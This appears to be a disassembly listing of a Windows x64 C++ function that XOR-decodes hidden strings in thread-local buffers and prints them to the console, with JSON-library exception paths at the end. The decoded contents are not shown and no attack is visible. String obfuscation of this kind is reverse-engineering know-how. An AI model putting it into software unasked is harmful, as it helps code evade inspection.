mov byte [rsp + 0x58], 3
call fcn.14000a080
mov qword [rsp + 0x60], rax
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x850
mov eax, dword [rcx + rdi]
mov ebx, 0x6f0
add rbx, rdi
test al, 1
jne 0x14000f86d
or eax, 1
mov dword [rcx + rdi], eax
mov word [rbx + 9], 0x171
mov dword [rbx], 0x8c48106e
mov dword [rbx + 4], 0x477a2f64
mov byte [rbx + 8], 0x61
lea rcx, [0x14008fd90]
call fcn.14007df40
nop
cmp byte [rbx + 0xa], 0
je 0x14000f89e
xor byte [rbx], 9
xor byte [rbx + 1], 0x71
xor byte [rbx + 2], 0x25
xor byte [rbx + 3], 0xe9
xor byte [rbx + 4], 0x3b
xor byte [rbx + 5], 0x5f
xor byte [rbx + 6], 0x1b
xor byte [rbx + 7], 0x33
xor byte [rbx + 8], 9
xor byte [rbx + 9], 0x71
mov byte [rbx + 0xa], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r12
nop dword [rax]
inc rsi
cmp byte [rbx + rsi], 0
jne 0x14000f8b0
mov r8, rsi
mov rdx, rbx
lea rcx, [rbp + 0x30]
call fcn.1400097b0
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x158]
call fcn.140006f80
nop
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x58]
mov byte [rax], cl
mov byte [rsp + 0x58], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x60]
mov qword [rax + 8], rdx
mov qword [rsp + 0x60], rcx
movzx edx, byte [rsp + 0x58]
lea rcx, [rsp + 0x60]
call fcn.1400083d0
nop
lea rcx, [rbp + 0x158]
call fcn.14001fce0
mov rdx, qword [0x1400bf570]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008eb0
mov rsi, rax
movdqa xmm0, xmmword [0x14009f860]
mov dword [rbp + 0x130], 0x1439d218
mov dword [rbp + 0x134], 0xa74d8549
mov word [rbp + 0x138], 0xb77f
mov ecx, 0x670
mov eax, dword [rcx + rdi]
mov edx, 0x880
test al, 1
jne 0x14000f9d2
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x1a], 1
lea rax, [rbx + 0x19]
lea rcx, [rbp + 0x139]
cmp rbx, rcx
ja 0x14000f9a8
lea rcx, [rbp + 0x120]
cmp rax, rcx
jb 0x14000f9a8
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x130]
movsd qword [rbx + 0x10], xmm0
movzx eax, word [rbp + 0x138]
mov word [rbx + 0x18], ax
jmp 0x14000f9c3
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x130]
movsd qword [rbx + 0x10], xmm0
movzx eax, word [rbp + 0x138]
mov word [rbx + 0x18], ax
lea rcx, [0x14008fd60]
call fcn.14007df40
nop
jmp 0x14000f9d6
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x1a], 0
je 0x14000fa47
xor byte [rbx], 0x75
xor byte [rbx + 1], 0xb7
xor byte [rbx + 2], 0x49
xor byte [rbx + 3], 0x75
xor byte [rbx + 4], 0x3d
xor byte [rbx + 5], 0xed
xor byte [rbx + 6], 0x63
xor byte [rbx + 7], 0xad
xor byte [rbx + 8], 0x75
xor byte [rbx + 9], 0xb7
xor byte [rbx + 0xa], 0x49
xor byte [rbx + 0xb], 0x75
xor byte [rbx + 0xc], 0x3d
xor byte [rbx + 0xd], 0xed
xor byte [rbx + 0xe], 0x63
xor byte [rbx + 0xf], 0xad
xor byte [rbx + 0x10], 0x75
xor byte [rbx + 0x11], 0xb7
xor byte [rbx + 0x12], 0x49
xor byte [rbx + 0x13], 0x75
xor byte [rbx + 0x14], 0x3d
xor byte [rbx + 0x15], 0xed
xor byte [rbx + 0x16], 0x63
xor byte [rbx + 0x17], 0xad
xor byte [rbx + 0x18], 0x75
xor byte [rbx + 0x19], 0xb7
mov byte [rbx + 0x1a], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140008eb0
mov rdx, qword [0x1400bf588]
mov rcx, rax
call fcn.140008eb0
mov rsi, rax
movdqa xmm0, xmmword [0x14009f930]
movdqa xmm1, xmmword [0x14009f980]
mov dword [rbp + 0x240], 0x4415d219
mov dword [rbp + 0x244], 0x9c57c30f
mov ecx, 0x868
mov eax, dword [rcx + rdi]
mov edx, 0x6a0
test al, 1
jne 0x14000fb04
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x29], 1
lea rax, [rbx + 0x28]
lea rcx, [rbp + 0x248]
cmp rbx, rcx
ja 0x14000fadd
lea rcx, [rbp + 0x220]
cmp rax, rcx
jb 0x14000fadd
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x240]
movsd qword [rbx + 0x20], xmm0
mov byte [rbx + 0x28], 0x75
jmp 0x14000faf5
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x240]
movsd qword [rbx + 0x20], xmm0
mov byte [rbx + 0x28], 0x75
lea rcx, [0x14008fd30]
call fcn.14007df40
nop
jmp 0x14000fb08
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x29], 0
je 0x14000fbb9
xor byte [rbx], 0x75
xor byte [rbx + 1], 0xb7
xor byte [rbx + 2], 0x49
xor byte [rbx + 3], 0x75
xor byte [rbx + 4], 0x3d
xor byte [rbx + 5], 0xed
xor byte [rbx + 6], 0x63
xor byte [rbx + 7], 0xad
xor byte [rbx + 8], 0x75
xor byte [rbx + 9], 0xb7
xor byte [rbx + 0xa], 0x49
xor byte [rbx + 0xb], 0x75
xor byte [rbx + 0xc], 0x3d
xor byte [rbx + 0xd], 0xed
xor byte [rbx + 0xe], 0x63
xor byte [rbx + 0xf], 0xad
xor byte [rbx + 0x10], 0x75
xor byte [rbx + 0x11], 0xb7
xor byte [rbx + 0x12], 0x49
xor byte [rbx + 0x13], 0x75
xor byte [rbx + 0x14], 0x3d
xor byte [rbx + 0x15], 0xed
xor byte [rbx + 0x16], 0x63
xor byte [rbx + 0x17], 0xad
xor byte [rbx + 0x18], 0x75
xor byte [rbx + 0x19], 0xb7
xor byte [rbx + 0x1a], 0x49
xor byte [rbx + 0x1b], 0x75
xor byte [rbx + 0x1c], 0x3d
xor byte [rbx + 0x1d], 0xed
xor byte [rbx + 0x1e], 0x63
xor byte [rbx + 0x1f], 0xad
xor byte [rbx + 0x20], 0x75
xor byte [rbx + 0x21], 0xb7
xor byte [rbx + 0x22], 0x49
xor byte [rbx + 0x23], 0x75
xor byte [rbx + 0x24], 0x3d
xor byte [rbx + 0x25], 0xed
xor byte [rbx + 0x26], 0x63
xor byte [rbx + 0x27], 0xad
xor byte [rbx + 0x28], 0x75
mov byte [rbx + 0x29], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140008eb0
lea rdx, [0x140009080]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
movzx edx, byte [rbp + 0x158]
lea rcx, [rbp + 0x160]
call fcn.1400083d0
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x14000fc2d
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fc28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000fc28
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], 0
cmp r13, 0x10
jb 0x14000fc85
lea rdx, [r13 + 1]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fc7f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000fc7f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
nop
mov rbx, qword [rsp + 0x78]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000fcc0
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14000fcbb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000fcf7
mov rcx, r8
call fcn.14007de64
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov eax, 1
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.14007dae0
add rsp, 0x4f8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, rax
call fcn.140007da0
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x58]
call fcn.14000c3f0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0x30]
call fcn.1400092e0
lea rdx, [0x1400b8080]
lea rcx, [rbp + 0x30]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140007da0
mov qword [rsp + 0x78], rax
lea r8, [rsp + 0x78]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp - 0x58]
call fcn.14000c7e0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0x30]
call fcn.1400092e0
lea rdx, [0x1400b8080]
lea rcx, [rbp + 0x30]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.140001e70
int3
call fcn.140001dd0
nop
mov rcx, rax
call fcn.140007da0
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x58]
call fcn.14000c3f0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0x30]
call fcn.1400092e0
lea rdx, [0x1400b8080]
lea rcx, [rbp + 0x30]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140007da0
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x58]
call fcn.14000c3f0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0x30]
call fcn.1400092e0
lea rdx, [0x1400b8080]
lea rcx, [rbp + 0x30]
call sub.VCRUNTIME140.dll__CxxThrowException
int3